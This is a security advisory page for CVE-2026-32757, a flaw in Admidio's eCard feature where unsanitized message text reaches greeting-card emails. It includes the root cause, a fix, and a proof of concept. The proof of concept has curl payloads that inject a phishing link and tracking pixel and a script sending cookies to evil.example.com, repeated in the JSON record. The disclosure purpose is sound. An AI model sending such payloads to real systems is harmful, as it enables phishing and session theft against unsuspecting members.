GHSA-4WR4-F2QF-X5WJ

Vulnerability from github – Published: 2026-03-16 21:18 – Updated: 2026-03-20 21:15
VLAI?
Summary
Admidio has an HTMLPurifier Bypass in eCard Message Allows HTML Email Injection
Details

Summary

The eCard send handler in Admidio uses the raw $_POST['ecard_message'] value instead of the HTMLPurifier-sanitized $formValues['ecard_message'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecard_message field during form validation.

Details

Root Cause

File: D:\bugcrowd\admidio\repo\modules\photos\ecard_send.php

At line 38, the raw POST value is captured BEFORE form validation runs:

$postMessage = $_POST['ecard_message'];  // Line 38: RAW value

At line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field):

$formValues = $photosEcardSendForm->validate($_POST);  // Line 61: sanitized

The sanitized value is stored in $formValues['ecard_message'], but this value is never used. Instead, the raw $postMessage is passed to parseEcardTemplate() at lines 159 and 201:

$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 159
$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 201

Template Injection

File: D:\bugcrowd\admidio\repo\src\Photos\ValueObject\ECard.php, line 144

The parseEcardTemplate() method places the message directly into the HTML template without any encoding:

$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;  // Line 144: no encoding

Compare this to the recipient fields which ARE properly encoded:

$pregRepArray['/<%ecard_reciepient_email%>/'] = SecurityUtils::encodeHTML($recipientEmail);  // Line 135
$pregRepArray['/<%ecard_reciepient_name%>/']  = SecurityUtils::encodeHTML($recipientName);   // Line 136

Inconsistency with Preview

File: D:\bugcrowd\admidio\repo\modules\photos\ecard_preview.php, line 56

The preview correctly uses the sanitized value:

$smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecard_message'], ...));

This means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.

Delivery Mechanism

The unsanitized HTML is delivered via two channels:

  1. HTML Email (primary vector): At line 218 of ECard.php, the parsed template is set as the email body via $email->setText($ecardHtmlData) followed by $email->setHtmlMail(). The malicious HTML is rendered by the recipient's email client.

  2. Database Storage: At line 214 of ecard_send.php, $message->addContent($ecardHtmlData) stores the raw HTML in the messages table. However, MessageContent::getValue() applies SecurityUtils::encodeHTML() on output, mitigating the stored XSS in the web interface.

PoC

Prerequisites: Logged-in user with access to the photo module and eCard feature enabled.

Step 1: Send an eCard with injected HTML

curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<session>" \
  -d "adm_csrf_token=<csrf_token>" \
  -d "ecard_template=<valid_template.tpl>" \
  -d "photo_uuid=<valid_photo_uuid>" \
  -d "photo_nr=1" \
  -d "ecard_message=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>" \
  -d "ecard_recipients[]=<target_user_uuid>"

The HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.

Step 2: Escalated payload with script injection

curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<session>" \
  -d "adm_csrf_token=<csrf_token>" \
  -d "ecard_template=<valid_template.tpl>" \
  -d "photo_uuid=<valid_photo_uuid>" \
  -d "photo_nr=1" \
  -d "ecard_message=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>" \
  -d "ecard_recipients[]=<target_user_uuid>"

Most modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.

Impact

  • Phishing via Trusted Sender: The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate.
  • HTML Email Injection: Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role.
  • Scope Change: The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio.
  • Bypasses Defense-in-Depth: The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.

Recommended Fix

In ecard_send.php, use the sanitized $formValues['ecard_message'] instead of the raw $_POST['ecard_message']:

// Line 38: Remove this line
// $postMessage = $_POST['ecard_message'];

// After line 61 (form validation), use the sanitized value:
$formValues = $photosEcardSendForm->validate($_POST);
$postMessage = $formValues['ecard_message'];

Additionally, in ECard::parseEcardTemplate(), apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:

// The message has already been sanitized by HTMLPurifier,
// so it can safely contain allowed HTML tags
$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T21:18:39Z",
    "nvd_published_at": "2026-03-20T00:16:16Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe eCard send handler in Admidio uses the raw `$_POST[\u0027ecard_message\u0027]` value instead of the HTMLPurifier-sanitized `$formValues[\u0027ecard_message\u0027]` when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the `ecard_message` field during form validation.\n\n## Details\n\n### Root Cause\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\photos\\ecard_send.php`\n\nAt line 38, the raw POST value is captured BEFORE form validation runs:\n\n```php\n$postMessage = $_POST[\u0027ecard_message\u0027];  // Line 38: RAW value\n```\n\nAt line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field):\n\n```php\n$formValues = $photosEcardSendForm-\u003evalidate($_POST);  // Line 61: sanitized\n```\n\nThe sanitized value is stored in `$formValues[\u0027ecard_message\u0027]`, but this value is never used. Instead, the raw `$postMessage` is passed to `parseEcardTemplate()` at lines 159 and 201:\n\n```php\n$ecardHtmlData = $funcClass-\u003eparseEcardTemplate($imageUrl, $postMessage, ...);  // Line 159\n$ecardHtmlData = $funcClass-\u003eparseEcardTemplate($imageUrl, $postMessage, ...);  // Line 201\n```\n\n### Template Injection\n\nFile: `D:\\bugcrowd\\admidio\\repo\\src\\Photos\\ValueObject\\ECard.php`, line 144\n\nThe `parseEcardTemplate()` method places the message directly into the HTML template without any encoding:\n\n```php\n$pregRepArray[\u0027/\u003c%ecard_message%\u003e/\u0027] = $ecardMessage;  // Line 144: no encoding\n```\n\nCompare this to the recipient fields which ARE properly encoded:\n\n```php\n$pregRepArray[\u0027/\u003c%ecard_reciepient_email%\u003e/\u0027] = SecurityUtils::encodeHTML($recipientEmail);  // Line 135\n$pregRepArray[\u0027/\u003c%ecard_reciepient_name%\u003e/\u0027]  = SecurityUtils::encodeHTML($recipientName);   // Line 136\n```\n\n### Inconsistency with Preview\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\photos\\ecard_preview.php`, line 56\n\nThe preview correctly uses the sanitized value:\n\n```php\n$smarty-\u003eassign(\u0027ecardContent\u0027, $funcClass-\u003eparseEcardTemplate($imageUrl, $formValues[\u0027ecard_message\u0027], ...));\n```\n\nThis means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.\n\n### Delivery Mechanism\n\nThe unsanitized HTML is delivered via two channels:\n\n1. **HTML Email** (primary vector): At line 218 of `ECard.php`, the parsed template is set as the email body via `$email-\u003esetText($ecardHtmlData)` followed by `$email-\u003esetHtmlMail()`. The malicious HTML is rendered by the recipient\u0027s email client.\n\n2. **Database Storage**: At line 214 of `ecard_send.php`, `$message-\u003eaddContent($ecardHtmlData)` stores the raw HTML in the messages table. However, `MessageContent::getValue()` applies `SecurityUtils::encodeHTML()` on output, mitigating the stored XSS in the web interface.\n\n## PoC\n\n**Prerequisites:** Logged-in user with access to the photo module and eCard feature enabled.\n\n**Step 1: Send an eCard with injected HTML**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/photos/ecard_send.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=\u003csession\u003e\" \\\n  -d \"adm_csrf_token=\u003ccsrf_token\u003e\" \\\n  -d \"ecard_template=\u003cvalid_template.tpl\u003e\" \\\n  -d \"photo_uuid=\u003cvalid_photo_uuid\u003e\" \\\n  -d \"photo_nr=1\" \\\n  -d \"ecard_message=\u003ch1\u003eImportant Security Update\u003c/h1\u003e\u003cp\u003eYour account has been compromised. Please \u003ca href=\u0027https://evil.example.com/phishing\u0027\u003everify your identity here\u003c/a\u003e.\u003c/p\u003e\u003cimg src=\u0027https://evil.example.com/tracking.gif\u0027\u003e\" \\\n  -d \"ecard_recipients[]=\u003ctarget_user_uuid\u003e\"\n```\n\nThe HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.\n\n**Step 2: Escalated payload with script injection**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/photos/ecard_send.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=\u003csession\u003e\" \\\n  -d \"adm_csrf_token=\u003ccsrf_token\u003e\" \\\n  -d \"ecard_template=\u003cvalid_template.tpl\u003e\" \\\n  -d \"photo_uuid=\u003cvalid_photo_uuid\u003e\" \\\n  -d \"photo_nr=1\" \\\n  -d \"ecard_message=\u003cscript\u003edocument.location=\u0027https://evil.example.com/steal?cookie=\u0027+document.cookie\u003c/script\u003e\" \\\n  -d \"ecard_recipients[]=\u003ctarget_user_uuid\u003e\"\n```\n\nMost modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.\n\n## Impact\n\n- **Phishing via Trusted Sender:** The attacker sends crafted greeting cards that appear to come from the organization\u0027s system. The email sender address is the attacker\u0027s real address from their Admidio profile, but the email template and branding make it appear legitimate.\n- **HTML Email Injection:** Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role.\n- **Scope Change:** The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio.\n- **Bypasses Defense-in-Depth:** The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.\n\n## Recommended Fix\n\nIn `ecard_send.php`, use the sanitized `$formValues[\u0027ecard_message\u0027]` instead of the raw `$_POST[\u0027ecard_message\u0027]`:\n\n```php\n// Line 38: Remove this line\n// $postMessage = $_POST[\u0027ecard_message\u0027];\n\n// After line 61 (form validation), use the sanitized value:\n$formValues = $photosEcardSendForm-\u003evalidate($_POST);\n$postMessage = $formValues[\u0027ecard_message\u0027];\n```\n\nAdditionally, in `ECard::parseEcardTemplate()`, apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:\n\n```php\n// The message has already been sanitized by HTMLPurifier,\n// so it can safely contain allowed HTML tags\n$pregRepArray[\u0027/\u003c%ecard_message%\u003e/\u0027] = $ecardMessage;\n```",
  "id": "GHSA-4wr4-f2qf-x5wj",
  "modified": "2026-03-20T21:15:47Z",
  "published": "2026-03-16T21:18:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-4wr4-f2qf-x5wj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32757"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio has an HTMLPurifier Bypass in eCard Message Allows HTML Email Injection"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…